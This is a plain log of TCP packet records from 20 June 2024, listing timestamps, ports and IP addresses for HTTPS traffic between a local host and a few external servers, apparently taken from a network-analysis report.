Jun 20, 2024 13:54:37.421854973 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.422372103 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.422435999 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.422508001 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.422559023 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.423046112 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.423108101 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.423247099 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.423314095 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.423331022 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.423381090 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.424185991 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.424242973 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.424247980 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.424295902 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.424299955 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.424336910 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.424338102 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.425287962 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.426376104 CEST	49749	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.426389933 CEST	443	49749	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.472475052 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.516525984 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.562771082 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:37.594767094 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.595033884 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:37.595407009 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.596899986 CEST	49748	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:37.596925020 CEST	443	49748	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:38.166913986 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:39.376801968 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:40.978207111 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:40.978245020 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:40.978380919 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:40.978748083 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:40.978761911 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.785778046 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:41.889894962 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.890237093 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:41.890254021 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.891863108 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.892252922 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:41.892441034 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.892446995 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:41.932552099 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:41.944782019 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.048350096 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.048593044 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.048661947 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.048877954 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.048897028 CEST	443	49752	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.048907042 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.048948050 CEST	49752	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.050241947 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.050287962 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.050370932 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.050570965 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.050587893 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.118808985 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 20, 2024 13:54:42.516355038 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.516702890 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.516736984 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.517812014 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.518207073 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.518376112 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.518403053 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.560528040 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.566802979 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.663889885 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.664052010 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.664113998 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.664594889 CEST	49753	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.664613008 CEST	443	49753	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.667371988 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:42.667392015 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:42.667468071 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:42.667798996 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:42.667809963 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:42.668356895 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.668401957 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.668456078 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.668876886 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.668884039 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.668947935 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.669063091 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.669080973 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.669195890 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.669208050 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.669764042 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.669774055 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:42.669833899 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.670207024 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:42.670219898 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.142332077 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.142632008 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.142648935 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.142926931 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.143302917 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.143353939 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.143441916 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.152060032 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.152323008 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.152338028 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.152625084 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.152987003 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.153050900 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.153156042 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.174823999 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.175065041 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.175076962 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.175359011 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.175715923 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.175772905 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.175869942 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.184530973 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.200503111 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.214982986 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.215245008 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.215255976 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.215605021 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.215970993 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.216033936 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.216175079 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.220539093 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.256520987 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.289752960 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.289846897 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.289899111 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.290333986 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.290363073 CEST	443	49757	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.290373087 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.290406942 CEST	49757	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.291485071 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.291506052 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.291570902 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.291892052 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.291903019 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.300827980 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.300972939 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.301033020 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.301465034 CEST	49754	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.301475048 CEST	443	49754	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.336436033 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.337032080 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.337147951 CEST	443	49755	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.337210894 CEST	49755	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.338419914 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.338450909 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.338519096 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.338866949 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.338879108 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.364790916 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.364923000 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.364972115 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.364984035 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.364989042 CEST	443	49756	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.365004063 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.365046978 CEST	49756	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.537797928 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 20, 2024 13:54:43.758014917 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.758346081 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.758359909 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.759202003 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.759282112 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.759654999 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.759704113 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.759871960 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.759879112 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.809794903 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.831882954 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.832298040 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.832334042 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.832633972 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.833022118 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.833076000 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.833209991 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.876529932 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.933599949 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.933705091 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.933773994 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.934334040 CEST	49759	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:43.934348106 CEST	443	49759	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:43.937033892 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.937076092 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:43.937160015 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.937469959 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:43.937484980 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.402980089 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.403258085 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.403284073 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.403575897 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.403872967 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.403929949 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.403999090 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.448497057 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.568111897 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.568176031 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.568243027 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.572079897 CEST	49761	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.572098970 CEST	443	49761	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.572460890 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:44.572699070 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:44.572782040 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:44.573776007 CEST	49760	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:44.573798895 CEST	443	49760	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:44.631448030 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.631469011 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:44.631556988 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.631973028 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:44.631985903 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.122112989 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.122435093 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:45.122458935 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.122819901 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.123128891 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:45.123183012 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.123254061 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:45.164530039 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.254295111 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.254503965 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:45.254585981 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:45.255053997 CEST	49762	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:45.255073071 CEST	443	49762	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:46.598882914 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 20, 2024 13:54:48.982572079 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:48.982664108 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:48.982793093 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:48.983160019 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:48.983201027 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.446846962 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.447194099 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.447259903 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.448352098 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.448868036 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.449078083 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.449079037 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.492526054 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.497833014 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.580352068 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.580667973 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.580745935 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.580885887 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.580936909 CEST	443	49765	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.580965996 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.581000090 CEST	49765	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.582158089 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.582201958 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:49.582309008 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.582515001 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:49.582549095 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.136877060 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.137268066 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.137303114 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.138463974 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.138775110 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.138927937 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.138942003 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.138989925 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.182034016 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.584239006 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.584403038 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.584523916 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.585210085 CEST	49766	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.585258007 CEST	443	49766	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.587672949 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:50.587713957 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:50.587819099 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:50.588083029 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:50.588097095 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:50.588645935 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.588691950 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.588752985 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.589232922 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.589252949 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.589313984 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.589456081 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.589485884 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.589941978 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.589952946 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.590007067 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.590153933 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.590178967 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:50.590315104 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:50.590327024 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.056919098 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.057483912 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.057552099 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.058660030 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.059082031 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.059222937 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.059257984 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.106791973 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.122021914 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.123097897 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.123112917 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.123573065 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.123920918 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.124006033 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.124120951 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.133244038 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.133476973 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.133486032 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.133774042 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.134064913 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.134126902 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.134198904 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.135154009 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.135389090 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.135407925 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.135858059 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.136173964 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.136250973 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.136362076 CEST	49771	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.168545008 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.180495024 CEST	443	49771	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.180496931 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.231173992 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.231362104 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.231519938 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.231857061 CEST	49768	443	192.168.2.16	172.67.196.150
Jun 20, 2024 13:54:51.231879950 CEST	443	49768	172.67.196.150	192.168.2.16
Jun 20, 2024 13:54:51.249689102 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.249893904 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.249913931 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.249948025 CEST	443	49770	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.249984026 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.250021935 CEST	49770	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.254617929 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.254669905 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.254726887 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.255170107 CEST	49769	443	192.168.2.16	104.21.84.200
Jun 20, 2024 13:54:51.255199909 CEST	443	49769	104.21.84.200	192.168.2.16
Jun 20, 2024 13:54:51.255848885 CEST	49772	443	192.168.2.16	104.21.84.200
